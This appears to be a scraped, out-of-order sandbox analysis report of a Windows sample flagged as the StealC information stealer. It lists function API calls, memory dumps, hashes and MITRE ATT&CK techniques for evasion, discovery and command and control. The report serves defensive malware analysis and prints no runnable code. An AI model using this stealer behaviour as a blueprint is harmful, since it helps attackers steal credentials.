Instruction Fuzzy Hash: A2F06934F00208FBDB20DEA4DC18FAEB7F9AB48310F21C254EA91A72C4DA7596008B50

Function 00DFC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00DFC74E

Part of subcall function 00DFBF9F: __amsg_exit.LIBCMT ref: 00DFBFAF

__getptd.LIBCMT ref: 00DFC765
__amsg_exit.LIBCMT ref: 00DFC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00DFC797

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 71ca922e7d8a71707d3b51c24646a8e1095c9e7aeec4134f5d5dec8c60337b0d
Instruction ID: 7fff97b43733d334436f56b55935f516305b2def4e0f9bd117f504ff066576ac
Opcode Fuzzy Hash: 71ca922e7d8a71707d3b51c24646a8e1095c9e7aeec4134f5d5dec8c60337b0d
Instruction Fuzzy Hash: 98F0907291430C9BD720BBB89D06B7A33A0EF00735F2BD14AF744AA1D2DB645990DE76

Function 00DF4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DF4F7A
lstrcat.KERNEL32(?,00E01070), ref: 00DF4F97
lstrcat.KERNEL32(?,00838A68), ref: 00DF4FAB
lstrcat.KERNEL32(?,00E01074), ref: 00DF4FBD

Part of subcall function 00DF4910: wsprintfA.USER32 ref: 00DF492C
Part of subcall function 00DF4910: FindFirstFileA.KERNEL32(?,?), ref: 00DF4943

Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E00FDC), ref: 00DF4971
Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E00FE0), ref: 00DF4987
Part of subcall function 00DF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00DF4B7D
Part of subcall function 00DF4910: FindClose.KERNEL32(000000FF), ref: 00DF4B92

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 37bb4a1bbedef7642e9d99fe36edaee88e0e34a94c304446006d1c022e33e7bd
Instruction ID: 4449cc0008ea4fe21374c391efa08b5fa422ba5b740b157a115c0b35c53724e8
Opcode Fuzzy Hash: 37bb4a1bbedef7642e9d99fe36edaee88e0e34a94c304446006d1c022e33e7bd
Instruction Fuzzy Hash: BD218B7AA00308ABC774FB60DC46EEE733CEB54300F108554F69997585DEB996C88BB1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00DF9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00DE45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00DE4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00DF9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00DE6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00DF5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00DF17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00DF7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 00DF69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00DE1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00DF6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00DE47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00DF51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON